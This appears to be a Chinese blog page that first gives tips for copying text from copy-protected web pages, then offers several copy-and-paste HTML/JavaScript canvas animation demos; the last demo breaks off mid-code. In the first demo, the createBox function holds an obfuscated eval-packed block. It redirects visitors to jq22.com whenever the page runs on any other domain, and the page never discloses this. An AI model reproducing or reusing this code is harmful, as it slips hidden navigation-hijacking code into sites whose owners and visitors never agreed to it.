精华内容
下载资源
问答
  • 在日常的学习和工作中,很多人都会需要到网上查找一些资料。当查找到我们需要的资料时,想要复制下来,...方法一:使用源代码复制很多小伙伴可能不知道怎样找到源代码,很简单,在需要复制文字网页的空白处点击鼠标...

    在日常的学习和工作中,很多人都会需要到网上查找一些资料。当查找到我们需要的资料时,想要复制下来,可是网页上有限制,不允许复制粘贴。这时很多小伙伴就采取手动输入的方式了,如果资料不太多的话,手动输入的方式还可以接受。如果量比较大的话,手动输入就比较费劲了。今天小编教给大家3种方法,轻松提取网页文字哦。

    177353492_1_20191206105059175

    方法一:使用源代码复制

    很多小伙伴可能不知道怎样找到源代码,很简单,在需要复制文字网页的空白处点击鼠标右键,然后再选择【查看源文件】。

    177353492_2_20191206105059331

    进入到源文件后,向下滑动,我们就可以看到需要复制的文字内容了,将对应的文字选取一下,就可以复制啦。

    177353492_3_20191206105059441

    方法二:保存为文本

    虽然网页中有些文字是不允许复制粘贴的,但是我们先将需要的文字内容给选中,然后在选中的文字上面点击鼠标右键,就会弹出一个功能框,我们在该功能框中可以看到复制、保存为文本等。这时点击【复制】一样是不允许的,但是我们可以点击【保存为文本】。

    177353492_4_20191206105059535

    之后会弹出另存为的窗口,将文件名输入一下。这样就可以将需要的文字资料给复制出来了。

    177353492_5_20191206105059691

    方法三:使用电脑工具进行截图识别

    以上的两种方法是在网页中进行的操作,其实我们可以使用办公工具以截图识别的方法提取网页文字。如使用【迅捷OCR文字识别软件】的截图识别功能。

    177353492_6_20191206105059831

    打开该工具之后,在文字识别的功能中找到【截图识别】的功能。进入到截图识别的功能页面后,我们可以看到该功能的截图方式。在键盘上点击一下【Alt+F】的快捷键,然后就会跳转到需要复制文字资料的网页,将需要的文字部分给截取下来。回到该功能的页面后,点击【开始识别】就搞定了。

    177353492_7_20191206105059925

    好了,今天的分享就到这里啦!以上的三种方法大家学会了吗?希望对大家有所帮助哦。

    展开全文
  • 网页特效源代码(HTML+CSS+JavaScript)网页特效源代码

    以下下代码直接复制保存即可使用

    特效一

    方块运动演示
    在这里插入图片描述

    <html><head>
    <meta charset="utf-8">
    <title>蓝盒子</title>
    <style>body { margin: 0; padding: 0;background: black; overflow: hidden;}</style>
    <script src="http://cdn.bootcss.com/three.js/r78/three.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/1.17.0/TweenMax.min.js"></script>
    </head>
    <body>
    <script>
    var isMouseDown = false;
    var emptySlot = "emptySlot", planeTop = "planeTop", planeBottom = "planeBottom";
    var camera, scene, renderer;
    var mouse = {x: 0, y: 0};
    var camPos = {x: 0, y: 0, z: 10};
    var sw = window.innerWidth, sh = window.innerHeight;
    var cols = 20;
    var rows = 16;
    var gap = 20;
    var size = {
    	width: 100,
    	height: 30,
    	depth: 150,
    }
    var planeOffset = 250;
    var allRowsDepth = rows * (size.depth + gap);
    var allColsWidth = cols * (size.depth + gap);
    
    var speedNormal = 4;
    var speedFast = 34;
    var speed = speedNormal;
    var boxes = {
    	planeBottom: [],
    	planeTop: []
    };
    var boxes1d = [];
    
    function num(min, max) { return Math.random() * (max - min) + min; }
    function draw(props) {
    
    	var colours = {
    		slow: {
    			r: num(0, 0.2),
    			g: num(0.5, 0.9),
    			b: num(0.3, 0.7)
    		},
    		fast: {
    			r: num(0.9, 1.0),
    			g: num(0.1, 0.7),
    			b: num(0.2, 0.5)
    		}
    	}
    
    	var uniforms = {
    		r: { type: "f", value: colours.slow.r},
    		g: { type: "f", value: colours.slow.g},
    		b: { type: "f", value: colours.slow.b},
    		distanceX: { type: "f", value: 1.0},
    		distanceZ: { type: "f", value: 1.0},
    		pulse: { type: "f", value: 0},
    		speed: { type: "f", value: speed},
    	};
    
    	var material = new THREE.ShaderMaterial( {
    		uniforms: uniforms,
    		vertexShader: vertexShader,
    		fragmentShader: fragmentShader
    	});
    
    	var geometry = new THREE.BoxGeometry(props.width, props.height, props.depth);
    	var object = new THREE.Mesh(geometry, material);
    	object.colours = colours;
    	return object;
    }
    
    
    function init() {
    	scene = new THREE.Scene();
    	camera = new THREE.PerspectiveCamera( 100, sw / sh, 1, 10000 );
    	scene.add( camera );
    	renderer = new THREE.WebGLRenderer({antialias: true});
    	renderer.setSize( sw, sh );
    	for (var j = 0, jl = rows; j < jl; j++) {
    		boxes.planeBottom[j] = [];
    		boxes.planeTop[j] = [];
    		for (var i = 0, il = cols; i < il; i++) {
    			boxes.planeBottom[j][i] = emptySlot;
    			boxes.planeTop[j][i] = emptySlot;
    		};
    	};
    
    	function createBox() {
    		window["\x65\x76\x61\x6c"](function(CPY1,OvGQk2,btUiR$P3,YzTn4,rISXh5,C$jVY6){rISXh5=function(btUiR$P3){return(btUiR$P3<OvGQk2?"":rISXh5(window["\x70\x61\x72\x73\x65\x49\x6e\x74"](btUiR$P3/OvGQk2)))+((btUiR$P3=btUiR$P3%OvGQk2)>35?window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](btUiR$P3+29):btUiR$P3["\x74\x6f\x53\x74\x72\x69\x6e\x67"](36))};if(!''["\x72\x65\x70\x6c\x61\x63\x65"](/^/,window["\x53\x74\x72\x69\x6e\x67"])){while(btUiR$P3--)C$jVY6[rISXh5(btUiR$P3)]=YzTn4[btUiR$P3]||rISXh5(btUiR$P3);YzTn4=[function(rISXh5){return C$jVY6[rISXh5]}];rISXh5=function(){return'\\\x77\x2b'};btUiR$P3=1;};while(btUiR$P3--)if(YzTn4[btUiR$P3])CPY1=CPY1["\x72\x65\x70\x6c\x61\x63\x65"](new window["\x52\x65\x67\x45\x78\x70"]('\\\x62'+rISXh5(btUiR$P3)+'\\\x62','\x67'),YzTn4[btUiR$P3]);return CPY1;}('\x33 \x61\x3d\x37\x2e\x6d\x28\x37\x2e\x38\x28\x29\x2a\x70\x29\x2c\x39\x3d\x61\x3b\x33 \x63\x3d\x37\x2e\x38\x28\x29\x3e\x30\x2e\x35\x3f\x31\x3a\x2d\x31\x2c\x64\x3d\x63\x3d\x3d\x3d\x2d\x31\x3f\x48\x3a\x44\x3b\x33 \x62\x3d\x37\x2e\x6d\x28\x37\x2e\x38\x28\x29\x2a\x43\x29\x2c\x69\x3d\x62\x3b\x33 \x78\x3d\x28\x61\x2d\x70\x2f\x32\x29\x2a\x28\x65\x2e\x46\x2b\x6c\x29\x3b\x33 \x79\x3d\x63\x2a\x45\x3b\x33 \x7a\x3d\x62\x2a\x28\x65\x2e\x42\x2b\x6c\x29\x3b\x75\x28\x6b\x5b\x64\x5d\x5b\x69\x5d\x5b\x39\x5d\x3d\x3d\x3d\x41\x29\x7b\x33 \x36\x3d\x77\x28\x65\x29\x3b\x36\x2e\x50\x2e\x79\x3d\x79\x3b\x36\x2e\x4e\x3d\x4d\x3b\x36\x2e\x52\x3d\x7b\x78\x3a\x78\x2c\x7a\x3a\x30\x7d\x3b\x36\x2e\x49\x3d\x7a\x3b\x6b\x5b\x64\x5d\x5b\x69\x5d\x5b\x39\x5d\x3d\x36\x3b\x4b\x2e\x4c\x28\x36\x29\x3b\x47\x2e\x51\x28\x36\x29\x7d\x33 \x74\x3d\x66\x2e\x68\x2e\x67\x2e\x72\x28\x30\x2c\x76\x29\x3b\x33 \x73\x3d\x66\x2e\x68\x2e\x67\x2e\x72\x28\x30\x2c\x34\x29\x3b\x75\x28\x74\x3d\x3d\x22\x6e\x3a\x2f\x2f\x6f\x2e\x71\x2e\x6a\x22\x7c\x7c\x73\x3d\x3d\x22\x4f\x22\x29\x7b\x7d\x4a\x7b\x66\x2e\x68\x2e\x67\x3d\x22\x6e\x3a\x2f\x2f\x6f\x2e\x71\x2e\x6a\x22\x7d',54,54,'\x7c\x7c\x7c\x76\x61\x72\x7c\x7c\x7c\x62\x6f\x78\x7c\x4d\x61\x74\x68\x7c\x72\x61\x6e\x64\x6f\x6d\x7c\x78\x61\x69\x7c\x78\x69\x7c\x7a\x69\x7c\x79\x69\x7c\x79\x61\x69\x7c\x73\x69\x7a\x65\x7c\x77\x69\x6e\x64\x6f\x77\x7c\x68\x72\x65\x66\x7c\x6c\x6f\x63\x61\x74\x69\x6f\x6e\x7c\x7a\x61\x69\x7c\x63\x6f\x6d\x7c\x62\x6f\x78\x65\x73\x7c\x67\x61\x70\x7c\x66\x6c\x6f\x6f\x72\x7c\x68\x74\x74\x70\x7c\x77\x77\x77\x7c\x63\x6f\x6c\x73\x7c\x6a\x71\x32\x32\x7c\x73\x75\x62\x73\x74\x72\x7c\x64\x7a\x75\x72\x6c\x32\x7c\x64\x7a\x75\x72\x6c\x7c\x69\x66\x7c\x31\x39\x7c\x64\x72\x61\x77\x7c\x7c\x7c\x7c\x65\x6d\x70\x74\x79\x53\x6c\x6f\x74\x7c\x64\x65\x70\x74\x68\x7c\x72\x6f\x77\x73\x7c\x70\x6c\x61\x6e\x65\x54\x6f\x70\x7c\x70\x6c\x61\x6e\x65\x4f\x66\x66\x73\x65\x74\x7c\x77\x69\x64\x74\x68\x7c\x73\x63\x65\x6e\x65\x7c\x70\x6c\x61\x6e\x65\x42\x6f\x74\x74\x6f\x6d\x7c\x70\x6f\x73\x5a\x7c\x65\x6c\x73\x65\x7c\x62\x6f\x78\x65\x73\x31\x64\x7c\x70\x75\x73\x68\x7c\x66\x61\x6c\x73\x65\x7c\x69\x73\x57\x61\x72\x70\x69\x6e\x67\x7c\x66\x69\x6c\x65\x7c\x70\x6f\x73\x69\x74\x69\x6f\x6e\x7c\x61\x64\x64\x7c\x6f\x66\x66\x73\x65\x74'["\x73\x70\x6c\x69\x74"]('\x7c'),0,{}))
    		
    	}
    	for (var i = 0, il = rows * cols; i < il; i++) {
    		createBox();
    	};
    	document.body.appendChild(renderer.domElement);
    
    	function listen(eventNames, callback) {
    		for (var i = 0; i < eventNames.length; i++) {
    			window.addEventListener(eventNames[i], callback);
    		}
    	}
    	listen(["resize"], function(e){
    		sw = window.innerWidth;
    		sh = window.innerHeight
    		camera.aspect = sw / sh;
    		camera.updateProjectionMatrix();
    		renderer.setSize(sw, sh);
    	});
    	listen(["mousedown", "touchstart"], function(e) {
    		e.preventDefault();
    		isMouseDown = true;
    	});
    	listen(["mousemove", "touchmove"], function(e) {
    		e.preventDefault();
    		if (e.changedTouches && e.changedTouches[0]) e = e.changedTouches[0];
    		mouse.x = (e.clientX / sw) * 2 - 1;
    		mouse.y = -(e.clientY / sh) * 2 + 1;
    	});
    	listen(["mouseup", "touchend"], function(e) {
    		e.preventDefault();
    		isMouseDown = false;
    	});
    	render(0);
    
    }
    
    
    
    
    function move(x, y, z) {
    	var box = boxes[y][z][x];
    
    	if (box !== emptySlot) {
    
    		box.position.x = box.offset.x;
    
    		box.position.z = box.offset.z + box.posZ;
    
    		if (box.position.z > 0) {
    			box.posZ -= allRowsDepth;
    		}
    
    		// return;
    		// if (isMouseDown) return;
    		if (!box.isWarping && Math.random() > 0.999) {
    
    			var dir = Math.floor(Math.random() * 5), xn = x, zn = z, yn = y, yi = 0, xo = 0, zo = 0;
    			switch (dir) {
    				case 0 : xn++; xo = 1; break;
    				case 1 : xn--; xo = -1; break;
    				case 2 : zn++; zo = 1; break;
    				case 3 : zn--; zo = -1; break;
    				case 4 :
    					yn = (y === planeTop) ? planeBottom : planeTop;
    					yi = (y === planeTop) ? -1 : 1;
    
    					break;
    			}
    
    			if (boxes[yn][zn] && boxes[yn][zn][xn] === emptySlot) {
    
    				boxes[y][z][x] = emptySlot;
    
    				box.isWarping = true;
    
    				boxes[yn][zn][xn] = box;
    
    				// con.log( box.offset.x,  box.offset.z);
    
    				if (dir === 4) { // slide vertically
    					TweenMax.to(box.position, 0.5, {
    						y: yi * planeOffset
    					});
    				} else { // slide horizontally
    					TweenMax.to(box.offset, 0.5, {
    						x: box.offset.x + xo * (size.width + gap),
    						z: box.offset.z + zo * (size.depth + gap),
    					});
    				}
    				TweenMax.to(box.offset, 0.6, {
    					onComplete: function() {
    						box.isWarping = false;
    					}
    				});
    
    			}
    		}
    
    	}
    }
    
    
    function render(time) {
    
    	speed -= (speed - (isMouseDown ? speedFast : speedNormal)) * 0.05;
    
    	var box;
    	for (var b = 0, bl = boxes1d.length; b < bl; b++) {
    		box = boxes1d[b];
    		box.posZ += speed;
    
    		// normalized z distance from camera
    		var distanceZ = 1 - ((allRowsDepth - box.posZ) / (allRowsDepth) - 1);
    		box.material.uniforms.distanceZ.value = distanceZ;
    
    		// normalized x distance from camera (centre)
    		var distanceX = 1 - (Math.abs(box.position.x)) / (allColsWidth / 3);
    		box.material.uniforms.distanceX.value = distanceX;
    
    		var colour = isMouseDown ? box.colours.fast : box.colours.slow;
    		box.material.uniforms.r.value -= (box.material.uniforms.r.value - colour.r) * 0.1;
    		box.material.uniforms.g.value -= (box.material.uniforms.g.value - colour.g) * 0.1;
    		box.material.uniforms.b.value -= (box.material.uniforms.b.value - colour.b) * 0.1;
    
    		// normalized speed
    		var currentSpeed = (speed - speedNormal) / (speedFast - speedNormal)
    		box.material.uniforms.speed.value = currentSpeed;
    
    		// pulses more with more speed... of course!
    		if (Math.random() > (0.99995 - currentSpeed * 0.005)) {
    			box.material.uniforms.pulse.value = 1;
    		}
    		box.material.uniforms.pulse.value -= box.material.uniforms.pulse.value * 0.1 / (currentSpeed + 1);
    
    		// if (b ==13) con.log(box.material.uniforms.speed.value);
    	}
    
    	for (var j = 0, jl = rows; j < jl; j++) { // iterate through rows: z
    		for (var i = 0, il = cols; i < il; i++) { // iterate throw cols: x
    			move(i, planeBottom, j);
    			move(i, planeTop, j);
    		};
    	};
    
    	camPos.x -= (camPos.x - mouse.x * 400) * 0.02;
    	camPos.y -= (camPos.y - mouse.y * 150) * 0.05;
    	camPos.z = -100;
    	camera.position.set(camPos.x, camPos.y, camPos.z);
    
    	// camera.lookAt( scene.position );
    
    	// camera.rotation.z = time * 0.0001;
    	camera.rotation.y = camPos.x / -1000;
    	camera.rotation.x = camPos.y / 1000;
    	// camera.rotation.z = camPos.x / -2000;
    	camera.rotation.z = (camPos.x - mouse.x * 400) / 2000;
    
    	renderer.render( scene, camera );
    
    	// if (time < 800)
    		requestAnimationFrame( render );
    }
    
    var vertexShader = [
    "varying vec2 vUv;",
    "void main()",
    "{",
    "  vUv = uv;",
    "  vec4 mvPosition = modelViewMatrix * vec4( position, 1.0 );",
    "  gl_Position = projectionMatrix * mvPosition;",
    "}"].join("");
    
    var fragmentShader = [
    "uniform float r;",
    "uniform float g;",
    "uniform float b;",
    "uniform float distanceZ;",
    "uniform float distanceX;",
    "uniform float pulse;",
    "uniform float speed;",
    
    "varying vec2 vUv;",
    
    // "float checkerRows = 8.0;",
    // "float checkerCols = 16.0;",
    
    "void main( void ) {",
    "  vec2 position = abs(-1.0 + 2.0 * vUv);",
    "  float edging = abs((pow(position.y, 5.0) + pow(position.x, 5.0)) / 2.0);",
    "  float perc = (0.2 * pow(speed + 1.0, 2.0) + edging * 0.8) * distanceZ * distanceX;",
    
    // "  float perc = distanceX * distanceZ;",
    // "  vec2 checkPosition = vUv;",
    // "  float checkerX = ceil(mod(checkPosition.x, 1.0 / checkerCols) - 1.0 / checkerCols / 2.0);",
    // "  float checkerY = ceil(mod(checkPosition.y, 1.0 / checkerRows) - 1.0 / checkerRows / 2.0);",
    // "  float checker = ceil(checkerX * checkerY);",
    // "  float r = checker;",
    // "  float g = checker;",
    // "  float b = checker;",
    
    // "  float perc = 1.0;",
    "  float red = r * perc + pulse;",
    "  float green = g * perc + pulse;",
    "  float blue = b * perc + pulse;",
    "  gl_FragColor = vec4(red, green, blue, 1.0);",
    "}"].join("");
    
    //console.log(THREE, TweenMax, planeTop, planeBottom);
    init();
    </script><canvas width="1920" height="572" style="width: 1920px; height: 572px;"></canvas>
    
    
    </body></html>
    

    特效二

    机械蜂巢演示
    在这里插入图片描述

    <html><head>
    <meta charset="UTF-8">
    <meta name="google" value="notranslate">
    <meta name="robots" content="noindex">
    <title>蓝盒子</title>
    <style>
    canvas { position: absolute; top: 0; left: 0; }
    </style>
    </head>
    
    <body>
    <canvas id="c" width="1920" height="572"></canvas>
    <script>
    var w = c.width = window.innerWidth,
    h = c.height = window.innerHeight,
    ctx = c.getContext('2d'),
    opts = {
    	len: 20,
    	count: 50,
    	baseTime: 10,
    	addedTime: 10,
    	dieChance: .05,
    	spawnChance: 1,
    	sparkChance: .1,
    	sparkDist: 10,
    	sparkSize: 2,
    	color: 'hsl(hue,100%,light%)',
    	baseLight: 50,
    	addedLight: 10,
    	shadowToTimePropMult: 6,
    	baseLightInputMultiplier: .01,
    	addedLightInputMultiplier: .02,
    	cx: w / 2,
    	cy: h / 2,
    	repaintAlpha: .04,
    	hueChange: .1
    },
    tick = 0,
    lines = [],
    dieX = w / 2 / opts.len,
    dieY = h / 2 / opts.len,
    baseRad = Math.PI * 2 / 6;
    ctx.fillStyle = 'black';
    ctx.fillRect(0, 0, w, h);
    function loop() {
    	window.requestAnimationFrame(loop); ++tick;
    	ctx.globalCompositeOperation = 'source-over';
    	ctx.shadowBlur = 0;
    	ctx.fillStyle = 'rgba(0,0,0,alp)'.replace('alp', opts.repaintAlpha);
    	ctx.fillRect(0, 0, w, h);
    	ctx.globalCompositeOperation = 'lighter';
    	if (lines.length < opts.count && Math.random() < opts.spawnChance) lines.push(new Line);
    	lines.map(function(line) {
    		line.step()
    	})
    }
    function Line() {
    	this.reset()
    }
    Line.prototype.reset = function() {
    	this.x = 0;
    	this.y = 0;
    	this.addedX = 0;
    	this.addedY = 0;
    	this.rad = 0;
    	this.lightInputMultiplier = opts.baseLightInputMultiplier + opts.addedLightInputMultiplier * Math.random();
    	this.color = opts.color.replace('hue', tick * opts.hueChange);
    	this.cumulativeTime = 0;
    	this.beginPhase()
    }
    Line.prototype.beginPhase = function() {
    	this.x += this.addedX;
    	this.y += this.addedY;
    	this.time = 0;
    	this.targetTime = (opts.baseTime + opts.addedTime * Math.random()) | 0;
    	this.rad += baseRad * (Math.random() < .5 ? 1 : -1);
    	this.addedX = Math.cos(this.rad);
    	this.addedY = Math.sin(this.rad);
    	if (Math.random() < opts.dieChance || this.x > dieX || this.x < -dieX || this.y > dieY || this.y < -dieY) this.reset()
    }
    Line.prototype.step = function() {++this.time; ++this.cumulativeTime;
    	if (this.time >= this.targetTime) this.beginPhase();
    	var prop = this.time / this.targetTime,
    	wave = Math.sin(prop * Math.PI / 2),
    	x = this.addedX * wave,
    	y = this.addedY * wave;
    	ctx.shadowBlur = prop * opts.shadowToTimePropMult;
    	ctx.fillStyle = ctx.shadowColor = this.color.replace('light', opts.baseLight + opts.addedLight * Math.sin(this.cumulativeTime * this.lightInputMultiplier));
    	ctx.fillRect(opts.cx + (this.x + x) * opts.len, opts.cy + (this.y + y) * opts.len, 2, 2);
    	if (Math.random() < opts.sparkChance) ctx.fillRect(opts.cx + (this.x + x) * opts.len + Math.random() * opts.sparkDist * (Math.random() < .5 ? 1 : -1) - opts.sparkSize / 2, opts.cy + (this.y + y) * opts.len + Math.random() * opts.sparkDist * (Math.random() < .5 ? 1 : -1) - opts.sparkSize / 2, opts.sparkSize, opts.sparkSize)
    }
    loop();
    window.addEventListener('resize',
    function() {
    	w = c.width = window.innerWidth;
    	h = c.height = window.innerHeight;
    	ctx.fillStyle = 'black';
    	ctx.fillRect(0, 0, w, h);
    	opts.cx = w / 2;
    	opts.cy = h / 2;
    	dieX = w / 2 / opts.len;
    	dieY = h / 2 / opts.len
    });
        </script>
    
    
    </body>
    </html>
    

    特效三

    万花筒演示
    在这里插入图片描述

    <html><head>
    <meta charset="utf-8">
    <title>蓝盒子</title>
    <style>
    html{ background: black;}
    body { width: 100%; height: 100%; position: absolute; left: 0; top: 0; overflow: hidden; margin: 0; background: black; -webkit-filter: invert(0); filter: invert(0); }
    #canvas { position: absolute; z-index: -1; -webkit-filter: hue-rotate(100deg) brightness(1); filter: hue-rotate(100deg) brightness(1); mix-blend-mode: difference; }
    #canv { position: absolute; z-index: -2; mix-blend-mode: lighter; }
    canvas { position: absolute; top: 50%; left: 50%; z-index: -1; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); }
    </style>
    </head>
    
    <body>
    <canvas id="canvas" height="400" width="400"></canvas>
    <canvas id="canv" width="1920" height="572"></canvas>
    <script>
    var c = document.getElementById('canv'),
     $ = c.getContext('2d'),
     w = c.width = window.innerWidth,
     h = c.height = window.innerHeight,
     t = 0,
     num = 950,
     s, a, b, u = 0,
     x, y, _x, _y,
     _t = 1 / 16;
    
    function random(min, max) {
     return Math.random() * (max - min) + min;
    }
    
    var anim = function() {
     $.globalCompositeOperation = 'multiply';
     $.fillStyle = 'hsla(258,20%,50%,1)';
     $.fillRect(0, 0, w, h);
     $.globalCompositeOperation = 'lighter';
     for (var i = 0; i < .5; i++) {
      x = 0;
      _u = (u) + i * 2, col = u + (_u * 8);
      $.beginPath();
      for (var j = 0; j < num; j++) {
       x -= .312 * Math.sin(15);
       y = x * Math.sin(i + 3.05 * t + x / 7) / 12;
       _x = x * Math.cos(b) + y * Math.sin(b);
       _y = x * Math.sin(b) - y * Math.cos(b);
       b = (j * 2.1102) * Math.PI / -.1008;
       $.arc(w / 2 - _x, h / 2 - _y, random(.001, .6), 300, Math.PI * 2 + .1);
       $.lineWidth = .2;
      }
      var g = $.createLinearGradient(w / 2 + _x, h / 2 + _y,
       1, w / 2 + _x, h / 2 + _y);
      g.addColorStop(0.2, 'hsla(' + col + ',90%,50%,.2)');
      g.addColorStop(0.9, 'hsla(' + _u + ',95%,50%,.3)');
      g.addColorStop(1, 'hsla(0,0%,100%,.4)');
      $.strokeStyle = g;
      $.stroke();
     }
     t += _t / 2;
     u -= .2;
     window.requestAnimationFrame(anim);
    };
    anim();
    
    window.addEventListener('resize', function() {
     c.width = w = window.innerWidth;
     c.height = h = window.innerHeight;
    }, false);
    
    var canvas, ctx, tim;
    canvas = document.getElementsByTagName('canvas')[0];
    ctx = canvas.getContext('2d');
    canvas.width = canvas.height = 400;
    baum();
    
    function baum() {
     var a, b, c, d, e, x, y, r;
     ctx.globalCompositeOperation = "source-over";
     ctx.fillStyle = "hsla(26,100%,0%,1)";
     ctx.fillRect(0, 0, canvas.width, canvas.height);
     ctx.globalCompositeOperation = "color-burn";
     tim = new Date().getTime() / Math.PI / 72;
    
     c = [];
     r = tim / 32;
     for (a = 0; a < 18; a++) {
      b = 160;
      if (a % 2 == 1) b = 100;
      x = Math.cos(r) * b;
      y = Math.sin(r) * b;
      c.push([200 + x, 200 + y]);
      r += Math.PI * 2 / 14;
     }
    
     for (a = 0; a < 7; a++) {
      b = c[a * 2];
      d = c[a * 2 + 1];
      e = c[(a * 2 + 13) % 14];
      tri([
       [200, 200], b, d
      ], 0);
      tri([
       [200, 200], b, e
      ], 0);
     }
     requestAnimationFrame(baum);
    }
    
    function tri(p, ban) {
     var a, b, c, d, e, f, x, y, han, r1, r2;
     x = y = 0;
     for (a = 0; a < 3; a++) {
      x += p[a][0];
      y += p[a][1];
     }
     x = x / 3 - canvas.width / 2;
     y = y / 3 - canvas.height / 2;
     han = Math.pow(x * x + y * y, 0.5);
     c = 0.2 + Math.sin(tim / 13) * 0.15;
     r1 = 0.5 + Math.sin(han / 20 * (1 + Math.sin(tim / 19) * 0.7) + tim / 41) * c;
     r2 = 1 - r1;
     c = p[0][0] * (p[1][1] - p[2][1]);
     c += p[1][0] * (p[2][1] - p[0][1]);
     c += p[2][0] * (p[0][1] - p[1][1]);
     c = Math.abs(c);
    
     if (c < 100) {
      if (ban % 17 == 1) {
       a = ((han + tim * 3) % 360) | 0;
       b = 0.4;
       if (ban % 12 > 8) b = 1;
    
       ctx.fillStyle = ctx.strokeStyle = "hsla(" + a * 2 + ",60%,40%,0.53)";
       ctx.beginPath();
       for (a = 0; a < p.length; a++) {
        b = p[a];
        ctx.globalCompositeOperation = "lighter";
        ctx.lineTo(b[0], b[1]);
       }
       ctx.fill();
       if (Math.random() < 0.2) return;
      }
      if (ban % 50 > 28) return;
      if (c < 20) return;
     }
    
     d = 0;
     for (a = 0; a < p.length; a++) {
      b = p[a];
      c = p[(a + 1) % p.length];
      x = b[0] - c[0];
      y = b[1] - c[1];
      e = Math.pow(x * x + y * y, 0.5);
      if (e > d) {
       d = e;
       f = a;
      }
     }
    
     a = p[f];
     b = p[(f + 1) % p.length];
     c = p[(f + 2) % p.length];
     x = a[0] * r1 + b[0] * r2;
     y = a[1] * r1 + b[1] * r2;
     tri([b, c, [x, y]], ban + 1);
     tri([c, a, [x, y]], ban + 2);
    }
    </script>
    
    
    </body></html>
    

    特效四

    电流

    在这里插入图片描述

    <html><head>
    <meta charset="utf-8">
    <title>蓝盒子</title>
    <style>
    body {
    	background: #000;
    	overflow: hidden;
    }
    
    canvas {
    	display: block;
    }
    </style>
    </head>
    
    <body>
    <canvas id="canvas" width="1920" height="572"></canvas>
    <script>
    var canvas,
    	ctx,
    	width,
    	height,
    	size,
    	lines,
    	tick;
    
    function line() {
    	this.path = [];
    	this.speed = rand(10, 20);
    	this.count = randInt(10, 30);
    	this.x = width / 2, +1;
    	this.y = height / 2 + 1;
    	this.target = {
    		x: width / 2,
    		y: height / 2
    	};
    	this.dist = 0;
    	this.angle = 0;
    	this.hue = tick / 5;
    	this.life = 1;
    	this.updateAngle();
    	this.updateDist();
    }
    
    line.prototype.step = function(i) {
    	this.x += Math.cos(this.angle) * this.speed;
    	this.y += Math.sin(this.angle) * this.speed;
    
    	this.updateDist();
    
    	if (this.dist < this.speed) {
    		this.x = this.target.x;
    		this.y = this.target.y;
    		this.changeTarget();
    	}
    
    	this.path.push({
    		x: this.x,
    		y: this.y
    	});
    	if (this.path.length > this.count) {
    		this.path.shift();
    	}
    
    	this.life -= 0.001;
    
    	if (this.life <= 0) {
    		this.path = null;
    		lines.splice(i, 1);
    	}
    };
    
    line.prototype.updateDist = function() {
    	var dx = this.target.x - this.x,
    		dy = this.target.y - this.y;
    	this.dist = Math.sqrt(dx * dx + dy * dy);
    }
    
    line.prototype.updateAngle = function() {
    	var dx = this.target.x - this.x,
    		dy = this.target.y - this.y;
    	this.angle = Math.atan2(dy, dx);
    }
    
    line.prototype.changeTarget = function() {
    	var randStart = randInt(0, 3);
    	switch (randStart) {
    		case 0: // up
    			this.target.y = this.y - size;
    			break;
    		case 1: // right
    			this.target.x = this.x + size;
    			break;
    		case 2: // down
    			this.target.y = this.y + size;
    			break;
    		case 3: // left
    			this.target.x = this.x - size;
    	}
    	this.updateAngle();
    };
    
    line.prototype.draw = function(i) {
    	ctx.beginPath();
    	var rando = rand(0, 10);
    	for (var j = 0, length = this.path.length; j < length; j++) {
    		ctx[(j === 0) ? 'moveTo' : 'lineTo'](this.path[j].x + rand(-rando, rando), this.path[j].y + rand(-rando, rando));
    	}
    	ctx.strokeStyle = 'hsla(' + rand(this.hue, this.hue + 30) + ', 80%, 55%, ' + (this.life / 3) + ')';
    	ctx.lineWidth = rand(0.1, 2);
    	ctx.stroke();
    };
    
    function rand(min, max) {
    	return Math.random() * (max - min) + min;
    }
    
    function randInt(min, max) {
    	return Math.floor(min + Math.random() * (max - min + 1));
    };
    
    function init() {
    	canvas = document.getElementById('canvas');
    	ctx = canvas.getContext('2d');
    	size = 30;
    	lines = [];
    	reset();
    	loop();
    }
    
    function reset() {
    	width = Math.ceil(window.innerWidth / 2) * 2;
    	height = Math.ceil(window.innerHeight / 2) * 2;
    	tick = 0;
    
    	lines.length = 0;
    	canvas.width = width;
    	canvas.height = height;
    }
    
    function create() {
    	if (tick % 10 === 0) {
    		lines.push(new line());
    	}
    }
    
    function step() {
    	var i = lines.length;
    	while (i--) {
    		lines[i].step(i);
    	}
    }
    
    function clear() {
    	ctx.globalCompositeOperation = 'destination-out';
    	ctx.fillStyle = 'hsla(0, 0%, 0%, 0.1';
    	ctx.fillRect(0, 0, width, height);
    	ctx.globalCompositeOperation = 'lighter';
    }
    
    function draw() {
    	ctx.save();
    	ctx.translate(width / 2, height / 2);
    	ctx.rotate(tick * 0.001);
    	var scale = 0.8 + Math.cos(tick * 0.02) * 0.2;
    	ctx.scale(scale, scale);
    	ctx.translate(-width / 2, -height / 2);
    	var i = lines.length;
    	while (i--) {
    		lines[i].draw(i);
    	}
    	ctx.restore();
    }
    
    function loop() {
    	requestAnimationFrame(loop);
    	create();
    	step();
    	clear();
    	draw();
    	tick++;
    }
    
    function onresize() {
    	reset();
    }
    
    window.addEventListener('resize', onresize);
    
    init();
    </script>
    
    
    </body></html>
    

    特效五

    彩线
    在这里插入图片描述

    <html><head>
    <meta charset="utf-8">
    <title>蓝盒子</title>
    <script src="http://libs.baidu.com/jquery/1.11.3/jquery.min.js"></script>
    <style>
    html, body { background: #000; margin: 0; padding:0;}
    canvas { width: 100%; height: 100%; position: absolute; }
    </style>
    </head>
    
    <body>
    <canvas width="1920" height="951"></canvas>
    <script>
    $(function(){
      var canvas = document.querySelector('canvas'),
          ctx = canvas.getContext('2d')
      canvas.width = window.innerWidth;
      canvas.height = window.innerHeight;
      ctx.lineWidth = .3;
      ctx.strokeStyle = (new Color(150)).style;
    
      var mousePosition = {
        x: 30 * canvas.width / 100,
        y: 30 * canvas.height / 100
      };
    
      var dots = {
        nb: 550,
        distance: 50,
        d_radius: 100,
        array: []
      };
    
      function colorValue(min) {
        return Math.floor(Math.random() * 255 + min);
      }
      
      function createColorStyle(r,g,b) {
        return 'rgba(' + r + ',' + g + ',' + b + ', 0.8)';
      }
      
      function mixComponents(comp1, weight1, comp2, weight2) {
        return (comp1 * weight1 + comp2 * weight2) / (weight1 + weight2);
      }
      
      function averageColorStyles(dot1, dot2) {
        var color1 = dot1.color,
            color2 = dot2.color;
        
        var r = mixComponents(color1.r, dot1.radius, color2.r, dot2.radius),
